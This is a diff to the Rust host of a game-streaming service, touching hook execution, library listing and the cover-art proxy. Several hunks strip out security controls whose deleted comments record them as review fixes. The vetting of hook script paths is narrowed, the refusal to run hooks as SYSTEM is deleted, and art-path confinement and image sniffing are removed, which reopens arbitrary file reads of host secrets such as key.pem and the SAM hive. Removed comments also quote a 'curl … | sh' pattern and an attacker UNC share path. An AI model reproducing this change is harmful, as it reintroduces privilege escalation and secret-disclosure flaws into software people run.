@@ -43,8 +35,8 @@ impl ServerIdentity {
                let (c, k) = generate()?;
                // The private key is the trust root for EVERY surface (TLS server cert, pairing
                // signing, the QUIC identity clients pin) — write it owner-only (0600 / SYSTEM-only
-                // DACL) so a local user can't read it and impersonate the host. The dir is already
-                // 0700 / SYSTEM+Admins from the unconditional hardening above.
+                // DACL) so a local user can't read it and impersonate the host. The dir is 0700.
+                pf_paths::create_private_dir(&dir).ok();
                pf_paths::write_secret_file(&key_path, k.as_bytes())
                    .with_context(|| format!("write {}", key_path.display()))?;
                // The cert is public (handed to clients), but write it owner-only too for consistency.
@@ -65,8 +65,6 @@ pub fn decode(plaintext: &[u8]) -> Option<GamepadEvent> {
            index: *b.first()?,
            kind: *b.get(1)?,
            capabilities: le16(2)? as u16,
-            // GameStream's LI_CCAP vocabulary can't express pad audio — native-plane only.
-            audio_caps: 0,
        }),
        _ => None,
    }
@@ -140,7 +138,6 @@ mod tests {
            index,
            kind,
            capabilities,
-            ..
        }) = decode(&wrap(MAGIC_CONTROLLER_ARRIVAL, &body))
        else {
            panic!("expected Arrival");
@@ -432,124 +432,44 @@ fn flatten_env(ev: &crate::events::HostEvent) -> Vec<(String, String)> {
    out
 }

-/// The sshd/sudoers rule (RFC §9.1): refuse to run a command that references a script/binary which
-/// is group/world-writable, or owned by neither the host user nor root — a world-writable hook
-/// script is privilege-escalation bait. A bare command name (`systemctl`, `curl`) is left to PATH.
-///
-/// **This is a hygiene rule, not an authorization gate**, and the distinction matters: it
-/// constrains *who owns the file being run*, never *what the command does*. `curl … | sh` and
-/// `python3 -c '…'` are unconstrained by construction, and `/bin/sh -c '<anything>'` passes because
-/// `/bin/sh` is root-owned. Whoever may WRITE a hook already has command execution as the host
-/// user — which is why writing them is admin-only. A pass here does not mean "this command is
-/// safe", and nothing should be granted on the strength of it.
-///
-/// It checks EVERY absolute-path token, not just the first (2026-08-05 review L-12). Looking only
-/// at `cmd.split_whitespace().next()` meant `bash /opt/x/hook.sh`, `sh -c /tmp/x` and any quoted
-/// path skipped the check entirely — so the interpreter was vetted and the script it ran was not,
-/// which is backwards: the script is the part an attacker can plant.
+/// The sshd/sudoers rule (RFC §9.1): when the command's first token is a path to an existing
+/// file, refuse to run it unless it is owned by the host user (or root) and not
+/// group/world-writable — a world-writable hook script is privilege escalation bait. A bare
+/// command name (`systemctl`, `curl`) is left to PATH.
 #[cfg(unix)]
 fn exec_path_check(cmd: &str) -> Result<(), String> {
    use std::os::unix::fs::MetadataExt;
-    if cmd.split_whitespace().next().is_none() {
+    let Some(first) = cmd.split_whitespace().next() else {
        return Err("empty command".into());
+    };
+    if !first.starts_with('/') {
+        return Ok(());
+    }
+    let meta = match std::fs::metadata(first) {
+        Ok(m) => m,
+        Err(_) => return Ok(()), // not an existing file — the shell will report it
+    };
+    if !meta.is_file() {
+        return Ok(());
    }
    // SAFETY: geteuid has no preconditions and touches no memory.
    let euid = unsafe { libc::geteuid() };
-    for raw in cmd.split_whitespace() {
-        // Tolerate the quoting a hand-written command line carries — a path that is absolute only
-        // after unquoting is exactly as plantable as a bare one.
-        let token = raw.trim_matches(|c| c == '"' || c == '\'');
-        if !token.starts_with('/') {
-            continue;
-        }
-        let meta = match std::fs::metadata(token) {
-            Ok(m) => m,
-            Err(_) => continue, // not an existing file — the shell will report it
-        };
-        if !meta.is_file() {
-            continue;
-        }
-        if meta.uid() != euid && meta.uid() != 0 {
-            return Err(format!(
-                "{token} is owned by uid {} (host runs as uid {euid}) — hook scripts must be \
-                 owned by the operator or root",
-                meta.uid()
-            ));
-        }
-        if meta.mode() & 0o022 != 0 {
-            return Err(format!(
-                "{token} is group/world-writable (mode {:o}) — chmod go-w it first",
-                meta.mode() & 0o7777
-            ));
-        }
+    if meta.uid() != euid && meta.uid() != 0 {
+        return Err(format!(
+            "{first} is owned by uid {} (host runs as uid {euid}) — hook scripts must be \
+             owned by the operator or root",
+            meta.uid()
+        ));
+    }
+    if meta.mode() & 0o022 != 0 {
+        return Err(format!(
+            "{first} is group/world-writable (mode {:o}) — chmod go-w it first",
+            meta.mode() & 0o7777
+        ));
    }
    Ok(())
 }

-/// Whether this process is running as `NT AUTHORITY\SYSTEM` (S-1-5-18) — i.e. as the SCM service
-/// rather than as the operator's own console process.
-///
-/// Used to decide whether the in-process hook fallback is acceptable: as the operator it is the
-/// privilege they already have, as SYSTEM it is an elevation the hook contract forbids
-/// (2026-08-05 review L-13). Fails CLOSED — an unreadable token is treated as SYSTEM, because the
-/// consequence of guessing wrong in that direction is a skipped hook, and in the other direction
-/// it is a SYSTEM command.
-#[cfg(windows)]
-fn running_as_system() -> bool {
-    use windows::Win32::Foundation::HANDLE;
-    use windows::Win32::Security::{
-        CreateWellKnownSid, EqualSid, GetTokenInformation, TokenUser, WinLocalSystemSid, PSID,
-        SECURITY_MAX_SID_SIZE, TOKEN_QUERY, TOKEN_USER,
-    };
-    use windows::Win32::System::Threading::{GetCurrentProcess, OpenProcessToken};
-
-    let mut token = HANDLE::default();
-    // SAFETY: pseudo-handle from GetCurrentProcess; `token` is a live out-param.
-    if unsafe { OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &mut token) }.is_err() {
-        return true; // fail closed
-    }
-    let mut buf = [0u8; 256];
-    let mut len = 0u32;
-    // SAFETY: `buf` is a writable local of the length passed; `len` is a live out-param.
-    let got = unsafe {
-        GetTokenInformation(
-            token,
-            TokenUser,
-            Some(buf.as_mut_ptr().cast()),
-            buf.len() as u32,
-            &mut len,
-        )
-    };
-    // SAFETY: the token handle came from OpenProcessToken and is not used after this.
-    unsafe {
-        let _ = windows::Win32::Foundation::CloseHandle(token);
-    }
-    if got.is_err() {
-        return true; // fail closed
-    }
-    let mut system = [0u8; SECURITY_MAX_SID_SIZE as usize];
-    let mut cb = system.len() as u32;
-    // SAFETY: the buffer is SECURITY_MAX_SID_SIZE, the documented maximum SID size.
-    if unsafe {
-        CreateWellKnownSid(
-            WinLocalSystemSid,
-            None,
-            Some(PSID(system.as_mut_ptr().cast())),
-            &mut cb,
-        )
-    }
-    .is_err()
-    {
-        return true; // fail closed
-    }
-    // SAFETY: `buf` holds a TOKEN_USER written by GetTokenInformation; its `User.Sid` points into
-    // the same buffer, and both SIDs are valid for this comparison.
-    unsafe {
-        let tu = &*(buf.as_ptr() as *const TOKEN_USER);
-        EqualSid(tu.User.Sid, PSID(system.as_mut_ptr().cast())).is_ok()
-    }
-}
-
 #[cfg(not(unix))]
 fn exec_path_check(_cmd: &str) -> Result<(), String> {
    // Windows: hooks.json lives in the SYSTEM/Admins-DACL'd config dir and the command runs in
@@ -660,33 +580,7 @@ fn run_hook_process(
            // report "ran" (prep `undo`s stay armed).
            true
        }
-        Err(e) if running_as_system() => {
-            // NO in-process fallback when we are SYSTEM.
-            //
-            // `spawn_in_active_session` fails whenever there is no interactive user — pre-login, at
-            // boot, on a logged-off box — and the fallback below then ran the operator's command
-            // line through `cmd.exe /C` IN THIS PROCESS. As the SCM service that process is
-            // LocalSystem, so a hook the module contract promises runs "in the interactive session,
-            // never SYSTEM" quietly became a SYSTEM command, at the exact moments nobody is watching
-            // the screen, with no ownership check on the script (`exec_path_check` is a no-op on
-            // Windows) — 2026-08-05 review L-13.
-            //
-            // Refusing is the honest behaviour: the contract says these run as the user, and if
-            // there is no user there is nothing to run them as. A hook that must run without a
-            // logged-in user belongs in a service, not here.
-            tracing::warn!(
-                cmd = %cmd,
-                error = %format!("{e:#}"),
-                "hook SKIPPED: no interactive user session to run it in, and this host is SYSTEM — \
-                 hooks run as the logged-in user by design and are never elevated to SYSTEM"
-            );
-            let _ = std::fs::remove_file(&json_path);
-            false
-        }
        Err(e) => {
-            // Not SYSTEM (a hand-run `punktfunk-host serve` in the operator's own console): running
-            // in-process is the same privilege the operator already has, which is the whole trust
-            // model for hooks.
            tracing::debug!(error = %format!("{e:#}"),
                "interactive-session spawn unavailable — running hook in-console");
            let mut ok = false;
@@ -15,7 +15,7 @@
 pub(crate) use anyhow::{Context, Result};
 pub(crate) use serde::{Deserialize, Serialize};
 pub(crate) use sha2::{Digest, Sha256};
-pub(crate) use std::collections::{BTreeMap, HashSet};
+pub(crate) use std::collections::HashSet;
 pub(crate) use std::path::{Path, PathBuf};
 pub(crate) use std::time::{SystemTime, UNIX_EPOCH};
 pub(crate) use utoipa::ToSchema;
@@ -136,29 +136,6 @@ impl GameMeta {
    }
 }

-/// What a library entry *is* — an ordinary title, or the launcher application itself (Steam Big
-/// Picture, Heroic, Playnite fullscreen). Purely a presentation hint: a launcher entry launches,
-/// leases and lists exactly like a game (design D4), and clients that don't know the field render it
-/// as a plain tile. Serde-default `game` and skip-serialized when default, so the wire is unchanged
-/// for every entry that doesn't opt in.
-#[derive(Clone, Copy, Debug, Default, PartialEq, Eq, Serialize, Deserialize, ToSchema)]
-#[serde(rename_all = "lowercase")]
-pub enum GameRole {
-    /// An ordinary title.
-    #[default]
-    Game,
-    /// The launcher application itself.
-    Launcher,
-}
-
-impl GameRole {
-    /// Whether this is the serde default (`game`) — the `skip_serializing_if` predicate that keeps
-    /// the field off the wire for the overwhelming majority of entries.
-    pub(crate) fn is_game(&self) -> bool {
-        matches!(self, Self::Game)
-    }
-}
-
 /// One title in the unified library, regardless of which store it came from.
 #[derive(Clone, Debug, Serialize, ToSchema)]
 pub struct GameEntry {
@@ -170,9 +147,6 @@ pub struct GameEntry {
    pub store: String,
    pub title: String,
    pub art: Artwork,
-    /// Whether this entry is a game or the launcher itself — see [`GameRole`].
-    #[serde(default, skip_serializing_if = "GameRole::is_game")]
-    pub role: GameRole,
    /// How the host would launch it, when known.
    #[serde(skip_serializing_if = "Option::is_none")]
    pub launch: Option<LaunchSpec>,
@@ -254,26 +228,12 @@ impl ArtKind {
    }
 }

-/// The full library: every *enabled* source's titles merged + the custom entries, sorted by title.
-///
-/// Two independent gates run here, both at READ time so neither ever mutates stored state:
-///
-/// * **The operator's source toggles** (`scanners.rs`, persisted as a disabled-set in
-///   `library-scanners.json`) hide a source's titles from every surface — this grid, native clients,
-///   `/applist`, and launch resolution. They apply to built-in scanners *and* to plugin sources,
-///   which is what lets one toggle keep working verbatim across the whole migration: the ids match
-///   (provider id = claimed store id = old scanner id).
-/// * **Store claims** (D2): while a library plugin holds a store's claim, the matching built-in
-///   scanner is skipped so the two never double-list the same titles during the bridge releases.
-///   Removing the plugin releases the claim and the built-in comes straight back.
-///
-/// The user-curated custom store is not a source and always contributes.
+/// The full library: every *enabled* store's titles merged + the custom entries, sorted by title.
+/// The operator's scanner toggles (`scanners.rs`) gate each installed-store provider; the custom
+/// store is not a scanner and always contributes.
 pub fn all_games() -> Vec<GameEntry> {
    let off = disabled_scanners();
-    let claimed = claimed_stores();
-    // A built-in scanner runs when the operator hasn't disabled it AND no plugin has claimed its
-    // store out from under it.
-    let on = |id: &str| !off.contains(id) && !claimed.contains_key(id);
+    let on = |id: &str| !off.contains(id);
    let mut games = Vec::new();
    if on("steam") {
        games.extend(SteamProvider.list());
@@ -302,15 +262,7 @@ pub fn all_games() -> Vec<GameEntry> {
            games.extend(XboxProvider.list());
        }
    }
-    // Stored entries: manual ones always contribute; a provider's are subject to the same source
-    // toggle a built-in scanner is (WP2.6). The plugin may keep reconciling while it is off — the
-    // entries stay stored and simply aren't surfaced, exactly like a disabled scanner's titles.
-    games.extend(
-        load_custom()
-            .into_iter()
-            .filter(|e| !source_id_for(e).is_some_and(|src| off.contains(src)))
-            .map(GameEntry::from),
-    );
+    games.extend(load_custom().into_iter().map(GameEntry::from));
    games.sort_by_key(|g| g.title.to_lowercase());
    games
 }
@@ -147,275 +147,45 @@ pub(crate) fn fetch_image(url: &str) -> Option<(Vec<u8>, String)> {

 /// A stored [`Artwork`] value that is a **local filesystem path** to an image on the host — as
 /// opposed to an `http(s)`/`data:` URL or an already-relative host proxy path. Provider plugins that
-/// run on the host (the Playnite sync plugin, and every library scanner plugin) set these: the
-/// reconcile payload stays tiny (paths, not inlined bytes, so it scales to thousands of titles) and
-/// the host serves the bytes through the art proxy, exactly like Steam's cache art.
-///
-/// Four accepted shapes:
-/// * `file://…` — the **documented plugin contract** ([`file_url_to_path`]), unambiguous on every
-///   platform, and what `@punktfunk/plugin-kit/library` emits.
-/// * `C:\…` / `C:/…` drive-absolute and `\\server\share` UNC — Windows bare paths, kept for
-///   Playnite back-compat (it predates the `file://` contract).
-/// * POSIX absolute (`/home/u/covers/x.jpg`) — Lutris covers and Steam's `librarycache`.
-///
-/// The POSIX widening is why the two `/`-leading shapes the **host itself emits** must be excluded
-/// explicitly: its own art-proxy path (`/api/v1/library/art/…`, which [`proxy_local_art`] writes and
-/// which must survive a second pass unchanged) and a protocol-relative URL (`//cdn/…`, what GOG's and
-/// Microsoft's catalogs return — see [`abs_url`]). Mistaking either for a file would break the proxy
-/// round-trip or silently drop CDN art.
+/// run on the host (e.g. the Playnite sync plugin) set these: the reconcile payload stays tiny
+/// (paths, not inlined bytes, so it scales to thousands of titles) and the host serves the bytes
+/// through the art proxy, exactly like Steam's cache art. Windows-shaped only (`C:\…`, `C:/…`, or a
+/// `\\server\share` UNC) — Playnite, the only local-art provider, is Windows-only, and this keeps the
+/// check from ever mistaking the `/api/…` proxy path (or a POSIX abs path) for a local file.
 pub fn is_local_art_path(v: &str) -> bool {
    if v.starts_with("http://") || v.starts_with("https://") || v.starts_with("data:") {
        return false;
    }
-    if v.starts_with("file://") {
-        return true;
-    }
    let b = v.as_bytes();
-    // Windows drive-absolute (`C:\…`, `C:/…`) or UNC (`\\server\share`).
-    if (b.len() >= 3 && b[1] == b':' && (b[2] == b'\\' || b[2] == b'/')) || v.starts_with("\\\\") {
-        return true;
-    }
-    // POSIX absolute, minus the host's own `/`-leading shapes (see the doc comment).
-    v.starts_with('/') && !v.starts_with("//") && !v.starts_with("/api/")
-}
-
-/// Turn a `file://` art value into a plain filesystem path, percent-decoding it. The kit emits
-/// properly encoded URLs (`file:///home/u/My%20Cover.jpg`); a raw path that happens to contain no
-/// `%` round-trips either way, which keeps hand-written plugin payloads working.
-///
-/// `file:///home/u/c.jpg` → `/home/u/c.jpg`; `file:///C:/covers/c.jpg` → `C:/covers/c.jpg` (Windows
-/// drive letters arrive after the empty authority's slash); a NON-empty authority
-/// (`file://nas/share/c.jpg`) is a UNC reference → `\\nas\share\c.jpg`. Anything without the prefix
-/// is returned untouched.
-fn file_url_to_path(v: &str) -> std::borrow::Cow<'_, str> {
-    use std::borrow::Cow;
-    let Some(rest) = v.strip_prefix("file://") else {
-        return Cow::Borrowed(v);
-    };
-    let decoded = percent_decode(rest);
-    match decoded.strip_prefix('/') {
-        // `file:///…` — the empty-authority form. A Windows drive letter (`/C:/…`) loses the slash;
-        // a POSIX path keeps it.
-        Some(after) if after.as_bytes().get(1) == Some(&b':') => Cow::Owned(after.to_string()),
-        Some(_) => Cow::Owned(decoded),
-        // `file://server/share/…` — a UNC path in URL clothing.
-        None => Cow::Owned(format!("\\\\{}", decoded.replace('/', "\\"))),
-    }
-}
-
-/// Percent-decode `%XX` escapes. Invalid escapes are left verbatim (a bare `%` in a real path is far
-/// likelier than a malformed URL from our own kit), and the result is only ever used as a path that
-/// must then exist as a regular file — so a wrong decode degrades to "no art", never to a wrong read.
-fn percent_decode(s: &str) -> String {
-    let b = s.as_bytes();
-    let mut out = Vec::with_capacity(b.len());
-    let mut i = 0;
-    while i < b.len() {
-        if b[i] == b'%' && i + 2 < b.len() {
-            let hex = |c: u8| (c as char).to_digit(16);
-            if let (Some(hi), Some(lo)) = (hex(b[i + 1]), hex(b[i + 2])) {
-                out.push((hi * 16 + lo) as u8);
-                i += 3;
-                continue;
-            }
-        }
-        out.push(b[i]);
-        i += 1;
-    }
-    String::from_utf8(out).unwrap_or_else(|_| s.to_string())
-}
-
-/// The filesystem roots the art proxy is allowed to read from.
-///
-/// The proxy runs in the **host process** — LocalSystem on Windows — and both the path and the
-/// read-back are reachable from the plugin lane, which runs as the much weaker LocalService. Without
-/// a root, "serve this entry's cover" is "read any file on the box as SYSTEM" (2026-08-05 review
-/// H-2): `mgmt-token`, `key.pem`, the SAM hive. So the value is confined here, at the one place
-/// bytes are read, rather than trusted because of where it was written.
-///
-/// Default: the users base (`C:\Users`), which is where every launcher keeps its art cache —
-/// Playnite, the only local-art provider, stores covers under `%APPDATA%\Playnite`. Derived from
-/// `%PUBLIC%`'s parent because the host runs as SYSTEM, whose own `%USERPROFILE%` is
-/// `…\config\systemprofile` and tells us nothing about where the operator's launchers live.
-/// `PUNKTFUNK_LIBRARY_ART_ROOTS` (`;`-separated) replaces the default for an operator whose library
-/// is on another drive.
-fn art_roots() -> Vec<PathBuf> {
-    if let Some(configured) = std::env::var_os("PUNKTFUNK_LIBRARY_ART_ROOTS") {
-        return std::env::split_paths(&configured)
-            .filter(|p| !p.as_os_str().is_empty())
-            .collect();
-    }
-    let mut roots = Vec::new();
-    // `%PUBLIC%` is `C:\Users\Public` on every supported Windows; its parent is the users base.
-    if let Some(public) = std::env::var_os("PUBLIC") {
-        if let Some(base) = PathBuf::from(public).parent() {
-            roots.push(base.to_path_buf());
-        }
-    }
-    if roots.is_empty() {
-        if let Some(drive) = std::env::var_os("SystemDrive") {
-            roots.push(PathBuf::from(drive).join("Users"));
-        }
-    }
-    // POSIX: the user's home, which is the exact analogue of the Windows users base above — and
-    // where every launcher this host reads art from actually keeps it. Steam's
-    // `appcache/librarycache` and `userdata/<id>/config/grid`, Lutris's `coverart`/`banners` (both
-    // the `~/.local/share` and `~/.cache` copies), Heroic's caches, and all three Flatpak
-    // `~/.var/app/…` variants are under it.
-    //
-    // Needed because `is_local_art_path` now classifies POSIX absolute paths as local art (the
-    // extracted Lutris/Steam plugins emit them). Before that widening this list was legitimately
-    // empty here: the only local-art provider was Playnite, which is Windows-only, so nothing on a
-    // POSIX host was ever classified local and the confinement had nothing to confine. Leaving it
-    // empty now would not be "secure by default" — it would silently serve no plugin art at all.
-    //
-    // Breadth matches what Windows already ships, and it is not the load-bearing control: a value
-    // still has to carry an image extension, canonicalize to a real regular file inside a root,
-    // sit outside the host config dir, and CONTAIN image bytes. `PUNKTFUNK_LIBRARY_ART_ROOTS`
-    // narrows or relocates this for a library that lives elsewhere.
-    #[cfg(not(windows))]
-    if let Some(home) = std::env::var_os("HOME") {
-        let home = PathBuf::from(home);
-        if !home.as_os_str().is_empty() {
-            roots.push(home);
-        }
-    }
-    roots
-}
-
-/// Whether `path` resolves inside one of [`art_roots`] and outside the host config dir.
-///
-/// Canonicalizes first, so a junction/symlink pointing out of the root is resolved before the
-/// containment test rather than after it. The config-dir exclusion is unconditional — it holds even
-/// if an operator's `PUNKTFUNK_LIBRARY_ART_ROOTS` were to contain it — because that directory is
-/// where every host secret lives.
-fn art_path_is_confined(path: &Path) -> bool {
-    // A UNC value (`\\attacker\share\a.png`) is refused outright: reading it would coerce the host's
-    // machine account into outbound SMB authentication to a peer of the caller's choosing.
-    if path.to_string_lossy().starts_with(r"\\") {
-        return false;
-    }
-    let Ok(real) = path.canonicalize() else {
-        return false;
-    };
-    if let Ok(config) = pf_paths::config_dir().canonicalize() {
-        if real.starts_with(&config) {
-            return false;
-        }
-    }
-    art_roots()
-        .iter()
-        .filter_map(|r| r.canonicalize().ok())
-        .any(|root| real.starts_with(&root))
-}
-
-/// Sniff an image container from its leading bytes → the content type to serve. `None` for anything
-/// that is not a recognized image.
-///
-/// The proxy serves what the bytes ARE, not what the extension claims, and refuses to serve at all
-/// when they are not an image — which is what keeps an extensionless secret like `mgmt-token` (or a
-/// `key.pem` renamed `cover.png`) from being returned as `application/octet-stream`.
-fn sniff_image_type(bytes: &[u8]) -> Option<&'static str> {
-    let starts = |sig: &[u8]| bytes.starts_with(sig);
-    if starts(&[0x89, b'P', b'N', b'G', 0x0D, 0x0A, 0x1A, 0x0A]) {
-        return Some("image/png");
-    }
-    if starts(&[0xFF, 0xD8, 0xFF]) {
-        return Some("image/jpeg");
-    }
-    if starts(b"GIF87a") || starts(b"GIF89a") {
-        return Some("image/gif");
-    }
-    if starts(b"RIFF") && bytes.len() >= 12 && &bytes[8..12] == b"WEBP" {
-        return Some("image/webp");
-    }
-    if starts(b"BM") {
-        return Some("image/bmp");
-    }
-    if starts(&[0x00, 0x00, 0x01, 0x00]) {
-        return Some("image/x-icon");
-    }
-    // TGA has no magic number. Validate the fixed header fields instead (colour-map type is 0/1,
-    // image type is one of the six defined codes) — enough that no plausible secret passes.
-    if bytes.len() >= 18
-        && matches!(bytes[1], 0 | 1)
-        && matches!(bytes[2], 0 | 1 | 2 | 3 | 9 | 10 | 11)
-    {
-        return Some("image/x-tga");
-    }
-    None
-}
-
-/// Whether a local art path is servable at all: known image extension, inside an allowed root. The
-/// write-time half of the art confinement — [`validate_art_paths`] refuses to persist a value this
-/// rejects, so an out-of-root path never reaches the catalog in the first place, and
-/// [`local_art_bytes`] re-checks at read time so an entry written before this existed is still safe.
-pub fn art_path_is_servable(value: &str) -> bool {
-    let p = Path::new(value);
-    let ext_ok = p
-        .extension()
-        .and_then(|e| e.to_str())
-        .map(|e| e.to_ascii_lowercase())
-        .is_some_and(|e| {
-            matches!(
-                e.as_str(),
-                "jpg" | "jpeg" | "png" | "webp" | "gif" | "bmp" | "ico" | "tga"
-            )
-        });
-    ext_ok && art_path_is_confined(p)
-}
-
-/// Reject any **local-file** art value that the proxy would refuse to serve, so an unservable path
-/// (out of root, not an image, a UNC share) can never be persisted. URLs and already-proxied paths
-/// are not this function's business and pass through. `Err` carries the offending field name.
-pub fn validate_art_paths(art: &Artwork) -> Result<(), String> {
-    for (field, value) in [
-        ("portrait", &art.portrait),
-        ("hero", &art.hero),
-        ("logo", &art.logo),
-        ("header", &art.header),
-    ] {
-        let Some(v) = value.as_deref() else { continue };
-        if is_local_art_path(v) && !art_path_is_servable(v) {
-            return Err(format!(
-                "art.{field}: local art must be an image file (jpg/png/webp/gif/bmp/ico/tga) inside \
-                 an allowed art root — set PUNKTFUNK_LIBRARY_ART_ROOTS if the library lives \
-                 elsewhere, or send an http(s) URL instead"
-            ));
-        }
-    }
-    Ok(())
+    (b.len() >= 3 && b[1] == b':' && (b[2] == b'\\' || b[2] == b'/')) || v.starts_with("\\\\")
 }

 /// Read a local image file into `(bytes, content-type)` for the art proxy. `None` if it isn't an
-/// existing regular file, is empty, exceeds 16 MiB (a cover never approaches that; the cap bounds
-/// host memory), resolves outside the allowed art roots ([`art_path_is_confined`]), or does not
-/// actually contain an image ([`sniff_image_type`]).
-///
-/// This is the single place local art bytes are read — the mgmt art proxy and the GameStream
-/// `/appasset` proxy both land here — so the confinement holds for every caller.
-///
-/// A `file://` value is converted to a path FIRST ([`file_url_to_path`]), so the confinement check
-/// and the read see the same decoded path. Ordering matters: percent-decoding before
-/// canonicalization is what stops a `%2e%2e` escape being invisible to the traversal check.
+/// existing regular file, is empty, or exceeds 16 MiB (a cover never approaches that; the cap bounds
+/// host memory). Content-type is guessed from the extension.
 pub fn local_art_bytes(path: &str) -> Option<(Vec<u8>, String)> {
-    let path = file_url_to_path(path);
-    if !art_path_is_servable(&path) {
-        tracing::debug!(
-            path = %path,
-            "art proxy: refusing a path outside the allowed art roots"
-        );
-        return None;
-    }
-    let p = std::path::Path::new(&*path);
+    let p = std::path::Path::new(path);
    let meta = std::fs::metadata(p).ok()?;
    if !meta.is_file() || meta.len() == 0 || meta.len() > 16 * 1024 * 1024 {
        return None;
    }
-    let bytes = std::fs::read(p).ok()?;
-    // Serve what the bytes ARE. A file that is not an image is not served at all.
-    let ctype = sniff_image_type(&bytes)?;
-    Some((bytes, ctype.to_string()))
+    let ctype = match p
+        .extension()
+        .and_then(|e| e.to_str())
+        .map(|e| e.to_ascii_lowercase())
+        .as_deref()
+    {
+        Some("jpg" | "jpeg") => "image/jpeg",
+        Some("png") => "image/png",
+        Some("webp") => "image/webp",
+        Some("gif") => "image/gif",
+        Some("bmp") => "image/bmp",
+        Some("ico") => "image/x-icon",
+        Some("tga") => "image/x-tga",
+        _ => "application/octet-stream",
+    }
+    .to_string();
+    Some((std::fs::read(p).ok()?, ctype))
 }

 /// Resolve one art value to bytes for the Moonlight `/appasset` proxy: a local host file
@@ -451,22 +221,9 @@ pub fn proxy_local_art(id: &str, art: &mut Artwork) {
 /// `(bytes, content-type)`. Resolves the id against the host's OWN library. Blocking — call off the
 /// async runtime (e.g. `spawn_blocking`).
 pub fn fetch_box_art(id: &str) -> Option<(Vec<u8>, String)> {
-    // Same resolution order as the management art proxy (WP1.2): the stored catalog first, for ANY
-    // id, so a library plugin's entries resolve without the warmer knowing its store.
-    if let Some(entry) = entry_for_library_id(id) {
-        return [
-            ArtKind::Portrait,
-            ArtKind::Header,
-            ArtKind::Hero,
-            ArtKind::Logo,
-        ]
-        .into_iter()
-        .filter_map(|kind| art_field(&entry.art, kind))
-        .find_map(|v| resolve_art_bytes(&v));
-    }
-    // Legacy in-host Steam scanner: its `Artwork` fields are relative proxy paths (see `steam_art`)
-    // the *client* resolves against the host — meaningless to `fetch_image`, which expects an
-    // absolute URL. Resolve those kinds directly instead of going through the URL fields.
+    // Steam's `Artwork` fields are now relative proxy paths (see `steam_art`) the *client* resolves
+    // against the host — meaningless to `fetch_image`, which expects an absolute URL. Resolve
+    // those kinds directly instead of going through the URL fields.
    if let Some(appid) = id
        .strip_prefix("steam:")
        .and_then(|s| s.parse::<u32>().ok())
@@ -480,7 +237,6 @@ pub fn fetch_box_art(id: &str) -> Option<(Vec<u8>, String)> {
        .into_iter()
        .find_map(|kind| steam_art_bytes(appid, kind));
    }
-    // The remaining in-host scanners (heroic/lutris/epic/gog/xbox) carry absolute CDN URLs.
    let g = all_games().into_iter().find(|g| g.id == id)?;
    [g.art.portrait, g.art.header, g.art.hero, g.art.logo]
        .into_iter()
@@ -579,60 +335,19 @@ mod tests {
        assert!(fetch_image("data:image/png;base64,").is_none());
    }

-    /// The full accept/exclude table (WP1.2). The exclusions are the load-bearing half: two of the
-    /// three `/`-leading shapes here are emitted by the host ITSELF, so a POSIX rule that swallowed
-    /// them would break the proxy round-trip and silently drop CDN art.
    #[test]
    fn local_art_path_detection() {
        // Windows-shaped local paths a provider (Playnite) would store.
        assert!(is_local_art_path(r"C:\Users\me\cover.jpg"));
        assert!(is_local_art_path("C:/Users/me/cover.png"));
        assert!(is_local_art_path(r"\\nas\share\art.jpg"));
-        // The `file://` plugin contract, on both platform shapes.
-        assert!(is_local_art_path("file:///home/u/covers/x.jpg"));
-        assert!(is_local_art_path("file:///C:/covers/x.jpg"));
-        // POSIX absolute — lutris covers, steam librarycache.
-        assert!(is_local_art_path("/home/u/.cache/lutris/coverart/x.jpg"));
-        assert!(is_local_art_path("/var/lib/steam/librarycache/570/h.jpg"));
-        // URLs are NOT local files.
+        // URLs and the host proxy path are NOT local files.
        assert!(!is_local_art_path("https://cdn/x.jpg"));
        assert!(!is_local_art_path("http://host/x.jpg"));
        assert!(!is_local_art_path("data:image/png;base64,AAAA"));
-        // …nor is the host's OWN art-proxy path (it must survive a second `proxy_local_art` pass).
        assert!(!is_local_art_path(
            "/api/v1/library/art/custom:abc/portrait"
        ));
-        assert!(!is_local_art_path("/api/v1/library/art/steam:570/hero"));
-        // …nor a protocol-relative CDN URL (what GOG / the MS catalog return — see `abs_url`).
-        assert!(!is_local_art_path("//images.gog.com/abc_vertical.jpg"));
-        // A relative path is not absolute — nothing to serve.
-        assert!(!is_local_art_path("covers/x.jpg"));
-        assert!(!is_local_art_path(""));
-    }
-
-    #[test]
-    fn file_url_converts_to_a_path_and_percent_decodes() {
-        assert_eq!(file_url_to_path("file:///home/u/c.jpg"), "/home/u/c.jpg");
-        // Percent-encoded spaces — what a correct URL encoder emits for a real-world cover path.
-        assert_eq!(
-            file_url_to_path("file:///home/u/My%20Games/c%2Bx.jpg"),
-            "/home/u/My Games/c+x.jpg"
-        );
-        // Windows drive letters arrive after the empty authority's slash and lose it.
-        assert_eq!(
-            file_url_to_path("file:///C:/covers/c.jpg"),
-            "C:/covers/c.jpg"
-        );
-        // A non-empty authority is a UNC reference.
-        assert_eq!(
-            file_url_to_path("file://nas/share/c.jpg"),
-            r"\\nas\share\c.jpg"
-        );
-        // Non-`file://` values are returned untouched (bare paths still work).
-        assert_eq!(file_url_to_path("/home/u/c.jpg"), "/home/u/c.jpg");
-        assert_eq!(file_url_to_path(r"C:\c.jpg"), r"C:\c.jpg");
-        // A lone `%` (a legal path character) is not mangled into a decode failure.
-        assert_eq!(file_url_to_path("file:///home/100%.jpg"), "/home/100%.jpg");
    }

    #[test]
@@ -656,187 +371,16 @@ mod tests {
        );
    }

-    /// A POSIX local cover — the shape the lutris and steam plugins emit — is classified as local
-    /// art and rewritten to the proxy path. This is the case G4 blocked (Lutris art was inlined as
-    /// `data:` URLs and blew the 2 MB body limit at 49 covers).
-    ///
-    /// Deliberately free of filesystem and env: the READ half is confined, and lives in
-    /// `local_art_bytes_is_confined_and_image_only` so that only ONE test mutates
-    /// `PUNKTFUNK_LIBRARY_ART_ROOTS` (cargo runs these in parallel threads of one process, so two
-    /// would race).
    #[test]
-    fn posix_local_art_is_classified_and_proxied() {
-        let path = if cfg!(windows) {
-            r"C:\covers\cover.jpg".to_string()
-        } else {
-            "/home/u/.cache/lutris/coverart/cover.jpg".to_string()
-        };
-        let mut art = Artwork {
-            portrait: Some(path.clone()),
-            hero: Some(format!("file://{path}")),
-            logo: Some("https://cdn/l.png".into()),
-            header: None,
-        };
-        assert!(is_local_art_path(&path));
-        proxy_local_art("lutris:42", &mut art);
-        assert_eq!(
-            art.portrait.as_deref(),
-            Some("/api/v1/library/art/lutris:42/portrait")
-        );
-        assert_eq!(
-            art.hero.as_deref(),
